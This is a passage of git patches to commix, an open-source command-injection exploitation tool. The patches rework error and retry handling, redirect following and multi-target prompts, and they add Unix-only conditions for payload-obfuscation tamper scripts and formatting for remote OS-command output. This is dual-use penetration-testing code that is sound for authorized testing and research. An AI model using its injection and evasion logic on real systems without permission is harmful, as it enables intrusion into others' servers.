"ssl" in str(error_msg): + settings.MAX_RETRIES = 1 error_msg = "can't establish SSL connection" - elif "infinite loop" in str(error_msg): - error_msg = "Infinite redirect loop detected." - error_msg += "Please check all provided parameters and/or provide missing ones." - elif "BadStatusLine" in str(error_msg): - error_msg = "connection dropped or unknown HTTP " - error_msg += "status code received." - elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): - error_msg = "connection was forcibly closed by the target URL." + else: + if settings.TOTAL_OF_REQUESTS == 1: + if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(error_msg): + print(settings.SINGLE_WHITESPACE) + if "IncompleteRead" in str(error_msg): + warn_msg = "There was an incomplete read error while retrieving data " + warn_msg += "from the target URL " + else: + warn_msg = "The provided target URL seems not reachable. " + warn_msg += "In case that it is, please try to re-run using " + if not menu.options.random_agent: + warn_msg += "'--random-agent' switch and/or " + warn_msg += "'--proxy' option." + print(settings.print_warning_msg(warn_msg)) + elif "infinite loop" in str(error_msg): + error_msg = "Infinite redirect loop detected." + error_msg += "Please check all provided parameters and/or provide missing ones." + elif "BadStatusLine" in str(error_msg): + error_msg = "connection dropped or unknown HTTP " + error_msg += "status code received." + elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): + error_msg = "connection was forcibly closed by the target URL." + if settings.MAX_RETRIES > 1: + info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." + print(settings.print_info_msg(info_msg)) error_msg = "Unable to connect to the target URL (Reason: " + error_msg.capitalize() + ")." + if settings.MULTI_TARGETS: + error_msg = error_msg + " Skipping to the next target." print(settings.print_critical_msg(error_msg)) + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + if settings.MAX_RETRIES > 1: + time.sleep(settings.DELAY_RETRY) if not settings.VALID_URL : if not settings.MULTI_TARGETS and settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES: raise SystemExit() diff --git a/src/core/main.py b/src/core/main.py index a4bcb1fd7d..83e3878f93 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -152,9 +152,8 @@ def examine_request(request, url): reason = str(err_msg) if settings.MULTI_TARGETS: if len(reason) != 0: - reason = " (Reason: " + reason + ")." - warn_msg = "Skipping URL '" + url + "'" + reason - print(settings.print_warning_msg(warn_msg)) + reason = reason + ". Skipping to the next target." + print(settings.print_critical_msg(reason)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False @@ -163,7 +162,8 @@ def examine_request(request, url): if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): pass else: - print(settings.print_critical_msg(err_msg)) + if len(err_msg) != 0: + print(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -243,8 +243,6 @@ def url_response(url): tor.do_check() if settings.MULTI_TARGETS: settings.TOR_CHECK_AGAIN = False - info_msg = "Setting URL '" + url + "' for tests. " - print(settings.print_info_msg(info_msg)) # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 request = init_request(url) @@ -826,28 +824,38 @@ def main(filename, url): [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile] # Removing empty elements from list. clean_bulkfile = [x for x in clean_bulkfile if x] + url_num = 0 + print(settings.print_info_msg("Found a total of " + str(len(clean_bulkfile)) + " targets.")) for url in clean_bulkfile: - settings.INIT_TEST = True - if url == clean_bulkfile[-1]: - settings.EOF = True - # Reset the injection level - if menu.options.level > 3: - menu.options.level = 1 - init_injection(url) - try: - response, url = url_response(url) - if response != False: - filename = logs_filename_creation() - main(filename, url) - - except (_urllib.error.HTTPError, _urllib.error.URLError) as e: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "Unable to connect to the target URL." - warn_msg = "Skipping URL '" + url + "' - " + err_msg - print(settings.print_warning_msg(warn_msg)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) + url_num += 1 + print(settings.print_question_msg("URL #" + str(url_num) + " - " + url) + "") + if not menu.options.batch: + question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "Y" + if message in settings.CHOICE_YES: + settings.INIT_TEST = True + if url == clean_bulkfile[-1]: + settings.EOF = True + # Reset the injection level + if menu.options.level > 3: + menu.options.level = 1 + init_injection(url) + try: + response, url = url_response(url) + if response != False: + filename = logs_filename_creation() + main(filename, url) + except: + pass + elif message in settings.CHOICE_NO: + pass + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: if os_checks_num == 0: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index fdf5b69881..ad76b9aaeb 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -151,6 +151,8 @@ def https_open(self, req): if settings.VERBOSITY_LEVEL < 2: if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ (settings.INIT_TEST == True and settings.MULTI_TARGETS): + if settings.VALID_URL == False: + settings.VALID_URL = True print(settings.SINGLE_WHITESPACE) if not settings.CHECK_INTERNET: settings.INIT_TEST = False @@ -163,27 +165,10 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (_urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: - if settings.TOTAL_OF_REQUESTS == 1: - if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg): - print(settings.SINGLE_WHITESPACE) - - if "IncompleteRead" in str(err_msg): - warn_msg = "There was an incomplete read error while retrieving data " - warn_msg += "from the target URL " - else: - warn_msg = "The provided target URL seems not reachable. " - warn_msg += "In case that it is, please try to re-run using " - if not menu.options.random_agent: - warn_msg += "'--random-agent' switch and/or " - warn_msg += "'--proxy' option." - - print(settings.print_warning_msg(warn_msg)) - if settings.MAX_RETRIES > 1: - info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." - print(settings.print_info_msg(info_msg)) - settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 - time.sleep(3) + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: + pass + # settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + # time.sleep(3) except ValueError as err: if settings.VERBOSITY_LEVEL < 2: @@ -242,10 +227,6 @@ def https_open(self, req): print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() - # The handlers raise this exception when they run into a problem. - except Exception as err_msg: - checks.connection_exceptions(err_msg) - """ Check for added headers. """ diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index d3731af4d5..91f10fa2a4 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -164,8 +164,11 @@ def http_error_405(self, req, fp, code, msg, headers): else: return url - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: - checks.connection_exceptions(err_msg) + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: + if settings.VALID_URL: + checks.connection_exceptions(err_msg) + else: + pass except AttributeError: pass diff --git a/src/utils/crawler.py b/src/utils/crawler.py index b225a48fc2..decfb487a6 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -294,7 +294,7 @@ def crawler(url): if re.search(r"(.*?)\?(.+)", check_url): valid_url_found = True url_num += 1 - print(settings.print_info_msg("URL #" + str(url_num) + " - " + check_url) + "") + print(settings.print_question_msg("URL #" + str(url_num) + " - " + check_url) + "") if filename is not None: with open(filename, "a") as crawling_results: crawling_results.write(check_url + "\n") diff --git a/src/utils/settings.py b/src/utils/settings.py index 2ce9cf87d6..c3d8797bbe 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -440,6 +440,9 @@ def sys_argv_errors(): # Seconds to delay the OS response. (Default 1) TIMESEC = 1 +# Seconds to delay between each HTTP retry. +DELAY_RETRY = 1 + #Level (Default: 1) DEFAULT_INJECTION_LEVEL = 1 COOKIE_INJECTION_LEVEL = 2 From ddfb5cd536943e7339bf469a45a55a8ae04544a4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 19 Apr 2022 07:16:52 +0300 Subject: [PATCH 113/560] Minor improvement regarding redirect handler and multiple trivial fixes / updates --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 5 +- src/core/injections/controller/controller.py | 4 + src/core/main.py | 2 +- src/core/requests/headers.py | 32 ++-- src/core/requests/parameters.py | 3 +- src/core/requests/redirection.py | 147 +++++-------------- src/utils/logs.py | 1 + src/utils/settings.py | 5 +- 9 files changed, 70 insertions(+), 130 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 315075aa8d..65dcc59ab4 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Minor improvement regarding redirect handler. * Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for heuristic detection regarding command injections. * Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index a8587fe9eb..f9086f627d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -60,7 +60,10 @@ def connection_exceptions(err_msg): try: error_msg = str(err_msg.args[0]).split("] ")[1] except IndexError: - error_msg = str(err_msg.args[0]) + try: + error_msg = str(err_msg.args[0]) + except IndexError: + error_msg = str(err_msg) if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) if "ssl" in str(error_msg): diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 7ea6936d0f..a61f360f40 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -582,6 +582,7 @@ def cookie_injection(url, http_request_method, filename, timesec): for check_parameter in check_parameters: if check_parameter in "".join(settings.TEST_PARAMETER).split(","): menu.options.cookie = cookie_parameters[param_counter] + check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) @@ -629,6 +630,7 @@ def get_request(url, http_request_method, filename, timesec): for check_parameter in check_parameters: if check_parameter in "".join(settings.TEST_PARAMETER).split(","): url = found_url[url_counter] + check_parameter = parameters.vuln_GET_param(url) # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) @@ -688,6 +690,8 @@ def post_request(url, http_request_method, filename, timesec): for check_parameter in check_parameters: if check_parameter in "".join(settings.TEST_PARAMETER).split(","): menu.options.data = found_parameter[param_counter] + check_parameter = parameters.vuln_POST_param(menu.options.data, url) + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) param_counter += 1 diff --git a/src/core/main.py b/src/core/main.py index 83e3878f93..aadf90c7ff 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -257,7 +257,7 @@ def url_response(url): response = examine_request(request, url) # Check for URL redirection if not menu.options.ignore_redirects: - url = redirection.do_check(url) + url = redirection.do_check(request, url) return response, url """ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index ad76b9aaeb..c7814af513 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -65,7 +65,9 @@ def http_response(headers, code): if menu.options.traffic_file: logs.log_traffic("\n" + header) if menu.options.traffic_file: - logs.log_traffic("\n\n") + logs.log_traffic("\n\n") + if settings.VERBOSITY_LEVEL == 3: + print(settings.SINGLE_WHITESPACE) """ Print HTTP response headers / Body. @@ -91,7 +93,6 @@ def print_http_response(response_headers, code, page): Checking the HTTP Headers & HTTP/S Request. """ def check_http_traffic(request): - settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 # Delay in seconds between each HTTP request time.sleep(int(settings.DELAY)) if settings.SCHEME == 'https': @@ -114,8 +115,22 @@ def send(self, req): http_client.send(self, req) class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandler, object): + """ + Print HTTP request headers. + """ + def print_http_response(self): + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: + if settings.VERBOSITY_LEVEL >= 2: + req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" + print(settings.print_request_msg(req_msg)) + if menu.options.traffic_file: + req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" + logs.log_traffic(req_msg) + def http_open(self, req): try: + self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).http_open(req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: @@ -123,6 +138,7 @@ def http_open(self, req): def https_open(self, req): try: + self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).https_open(req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: @@ -134,15 +150,7 @@ def https_open(self, req): _ = False unauthorized = False - while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: - if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: - if settings.VERBOSITY_LEVEL >= 2: - req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" - print(settings.print_request_msg(req_msg)) - if menu.options.traffic_file: - req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" - logs.log_traffic(req_msg) - + while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: try: response = opener.open(request, timeout=settings.TIMEOUT) page = checks.page_encoding(response, action="encode") @@ -167,8 +175,6 @@ def https_open(self, req): except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: pass - # settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 - # time.sleep(3) except ValueError as err: if settings.VERBOSITY_LEVEL < 2: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 1543f15649..d031a0e1ba 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -134,7 +134,8 @@ def do_GET_check(url, http_request_method): all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + # all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 91f10fa2a4..5f6633f2e4 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -31,7 +31,7 @@ from src.thirdparty.colorama import Fore, Back, Style, init -def do_check(url): +def do_check(request, url): """ This functinality is based on Filippo's Valsorda script [1]. --- @@ -41,128 +41,49 @@ class Request(_urllib.request.Request): def get_method(self): return settings.HTTPMETHOD.HEAD - class RedirectHandler(_urllib.request.HTTPRedirectHandler): + class RedirectHandler(_urllib.request.HTTPRedirectHandler, object): """ Subclass the HTTPRedirectHandler to make it use our Request also on the redirected URL """ - def redirect_request(self, req, fp, code, msg, headers, redirected_url): + def redirect_request(self, request, fp, code, msg, headers, newurl): if code in (301, 302, 303, 307): - redirected_url = redirected_url.replace(' ', '%20') - newheaders = dict((k,v) for k,v in req.headers.items() if k.lower() not in ("content-length", "content-type")) - warn_msg = "Got a " + str(code) + " redirection (" + redirected_url + ")." - print(settings.print_warning_msg(warn_msg)) - return Request(redirected_url, - headers = newheaders, - # origin_req_host = req.get_origin_req_host(), - unverifiable = True - ) + settings.REDIRECT_CODE = code + return Request(newurl.replace(' ', '%20'), + data=request.data, + headers=request.headers + ) else: - err_msg = str(_urllib.error.HTTPError(req.get_full_url(), code, msg, headers, fp)).replace(": "," (") + err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() - - class HTTPMethodFallback(_urllib.request.BaseHandler): - """ - """ - def http_error_405(self, req, fp, code, msg, headers): - fp.read() - fp.close() - newheaders = dict((k,v) for k,v in req.headers.items() if k.lower() not in ("content-length", "content-type")) - return self.parent.open(_urllib.request.Request(req.get_full_url(), - headers = newheaders, - # origin_req_host = req.get_origin_req_host(), - unverifiable = True) - ) - - # Build our opener - opener = _urllib.request.OpenerDirector() - # Check if defined any Host HTTP header. - if menu.options.host and settings.HOST_INJECTION == False: - opener.addheaders.append(('Host', menu.options.host)) - # Check if defined any User-Agent HTTP header. - if menu.options.agent: - opener.addheaders.append(('User-Agent', menu.options.agent)) - # Check if defined any Referer HTTP header. - if menu.options.referer and settings.REFERER_INJECTION == False: - opener.addheaders.append(('Referer', menu.options.referer)) - # Check if defined any Cookie HTTP header. - if menu.options.cookie and settings.COOKIE_INJECTION == False: - opener.addheaders.append(('Cookie', menu.options.cookie)) - # Check if defined any HTTP Authentication credentials. - # HTTP Authentication: Basic / Digest Access Authentication. - if menu.options.auth_cred and menu.options.auth_type: - try: - settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) - if menu.options.auth_type == "basic": - b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') - opener.addheaders.append(("Authorization", "Basic " + b64_string + "")) - elif menu.options.auth_type == "digest": - try: - url = menu.options.url - try: - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as e: - try: - authline = e.headers.get('www-authenticate', '') - authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() - realm = authobj[1].split(',')[0].replace("\"","") - user_pass_pair = menu.options.auth_cred.split(":") - username = user_pass_pair[0] - password = user_pass_pair[1] - authhandler = _urllib.request.HTTPDigestAuthHandler() - authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler) - _urllib.request.install_opener(opener) - result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except AttributeError: - pass - except _urllib.error.HTTPError as e: - pass - except ValueError: - err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." - err_msg += " Try basic or digest HTTP authentication type." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - pass - - for handler in [_urllib.request.HTTPHandler, - HTTPMethodFallback, - RedirectHandler, - _urllib.request.HTTPErrorProcessor, - _urllib.request.HTTPSHandler]: - opener.add_handler(handler()) - + + opener = _urllib.request.build_opener(RedirectHandler()) try: - # Return a Request or None in response to a redirect. - response = opener.open(Request(url)) - if response == None: - return url + response = opener.open(request, timeout=settings.TIMEOUT) + if url == response.geturl(): + return response.geturl() else: - redirected_url = response.geturl() - if redirected_url != url: - while True: - if not menu.options.batch: - question_msg = "Do you want to follow the identified redirection? [Y/n] > " - redirection_option = _input(settings.print_question_msg(question_msg)) - else: - redirection_option = "" - if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES: - if menu.options.batch: - info_msg = "Following redirection to '" + redirected_url + "'. " - print(settings.print_info_msg(info_msg)) - return redirected_url - elif redirection_option in settings.CHOICE_NO: - return url - elif redirection_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + redirection_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - return url + while True: + if not menu.options.batch: + question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" + question_msg += "Do you want to follow the identified redirection? [Y/n] > " + redirection_option = _input(settings.print_question_msg(question_msg)) + else: + redirection_option = "" + if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES: + if menu.options.batch: + info_msg = "Following redirection to '" + response.geturl() + "'. " + print(settings.print_info_msg(info_msg)) + return checks.check_http_s(response.geturl()) + elif redirection_option in settings.CHOICE_NO: + return url + elif redirection_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + redirection_option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: if settings.VALID_URL: diff --git a/src/utils/logs.py b/src/utils/logs.py index 0a3a7a88dd..7546eaa9cd 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -34,6 +34,7 @@ Create log files """ def create_log_file(url, output_dir): + if not output_dir.endswith("/"): output_dir = output_dir + "/" diff --git a/src/utils/settings.py b/src/utils/settings.py index c3d8797bbe..58d08b6d5f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1089,4 +1089,7 @@ def sys_argv_errors(): CRAWLED_SKIPPED_URLS = 0 MULTI_TARGETS = False + +# Identified Redirect code +REDIRECT_CODE = "" # eof \ No newline at end of file From 22ab9bf2290f641407ffd4048e166748abe9b70f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 20 Apr 2022 07:24:04 +0300 Subject: [PATCH 114/560] Fixes https://github.com/commixproject/commix/issues/760 (and multiple trivial fixes / updates) --- src/core/injections/controller/checks.py | 25 +++++++++---------- src/core/injections/controller/controller.py | 8 +++--- .../techniques/classic/cb_enumeration.py | 10 +++++--- .../techniques/classic/cb_handler.py | 10 +++++--- .../techniques/eval_based/eb_enumeration.py | 15 +++++++---- .../techniques/eval_based/eb_handler.py | 13 ++++++---- .../techniques/file_based/fb_enumeration.py | 14 +++++++---- .../techniques/file_based/fb_handler.py | 11 +++++--- src/core/main.py | 2 +- src/core/modules/shellshock/shellshock.py | 7 ++++-- src/utils/settings.py | 7 +++++- 11 files changed, 77 insertions(+), 45 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f9086f627d..292dc91897 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -986,8 +986,8 @@ def list_tamper_scripts(): """ Tamper script checker """ -def tamper_scripts(): - if menu.options.tamper: +def tamper_scripts(stored_tamper_scripts): + if menu.options.tamper and stored_tamper_scripts is False: # Check the provided tamper script(s) available_scripts = [] provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()))) @@ -1001,7 +1001,6 @@ def tamper_scripts(): err_msg += "Use the '--list-tampers' option for listing available tamper scripts." print(settings.print_critical_msg(err_msg)) raise SystemExit() - info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " print(settings.print_info_msg(info_msg)) for script in provided_scripts: @@ -1117,7 +1116,7 @@ def whitespace_check(payload): """ def other_symbols(payload): # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. - if payload.count("`") >= 2: + if payload.count("`") >= 2 and settings.TARGET_OS == "unix": if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backticks" else: @@ -1135,7 +1134,7 @@ def other_symbols(payload): payload = caret.tamper(payload) # Check for dollar sign followed by an at-sign - if payload.count("$@") >= 10: + if payload.count("$@") >= 10 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['dollaratsigns']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",dollaratsigns" @@ -1145,7 +1144,7 @@ def other_symbols(payload): payload = dollaratsigns.tamper(payload) # Check for uninitialized variable - if payload.count("${uv}") >= 2: + if payload.count("${uv}") >= 2 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['uninitializedvariable']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",uninitializedvariable" @@ -1155,7 +1154,7 @@ def other_symbols(payload): payload = uninitializedvariable.tamper(payload) # Check for environment variable value variable - if payload.count("${PATH%%u*}") >= 2: + if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['slash2env']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",slash2env" @@ -1169,7 +1168,7 @@ def other_symbols(payload): """ def check_backslashes(payload): # Check for single quotes - if payload.count("\\") >= 15: + if payload.count("\\") >= 15 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['backslashes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backslashes" @@ -1183,7 +1182,7 @@ def check_backslashes(payload): """ def check_quotes(payload): # Check for double quotes around of the generated payloads. - if payload.endswith("\""): + if payload.endswith("\"") and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['nested']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",nested" @@ -1193,7 +1192,7 @@ def check_quotes(payload): payload = nested.tamper(payload) # Check for (multiple) added double-quotes between the characters of the generated payloads. - if payload.count("\"") >= 10: + if payload.count("\"") >= 10 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['doublequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",doublequotes" @@ -1203,7 +1202,7 @@ def check_quotes(payload): payload = doublequotes.tamper(payload) # Check for (multiple) added single-quotes between the characters of the generated payloads. - if payload.count("''") >= 10: + if payload.count("''") >= 10 and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['singlequotes']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",singlequotes" @@ -1216,7 +1215,7 @@ def check_quotes(payload): Recognise the payload. """ def recognise_payload(payload): - if "usleep" in payload: + if "usleep" in payload and settings.TARGET_OS == "unix": if not settings.TAMPER_SCRIPTS['sleep2usleep']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",sleep2usleep" @@ -1276,7 +1275,7 @@ def check_for_stored_tamper(payload): whitespace_check(decoded_payload) other_symbols(decoded_payload) check_quotes(decoded_payload) - tamper_scripts() + tamper_scripts(stored_tamper_scripts=True) """ Perform payload modification diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index a61f360f40..0d3d5ac7bf 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -314,9 +314,11 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): inject_http_headers = False - if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ - any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): - inject_http_headers = True + if (http_request_method == settings.HTTPMETHOD.GET and check_parameter.lower() not in url) or \ + (http_request_method == settings.HTTPMETHOD.POST and menu.options.data and check_parameter.lower() not in menu.options.data): + if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ + any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): + inject_http_headers = True if menu.options.ignore_code: info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 6f8e81fe99..462cb5f407 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -528,7 +528,6 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me Single os-shell execution """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = menu.options.os_cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -544,12 +543,17 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) logs.print_logs_notification(filename, url) else: + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + print(settings.SINGLE_WHITESPACE) """ Check the defined options diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index cc3cb33ce6..09968cb28c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -411,12 +411,16 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) 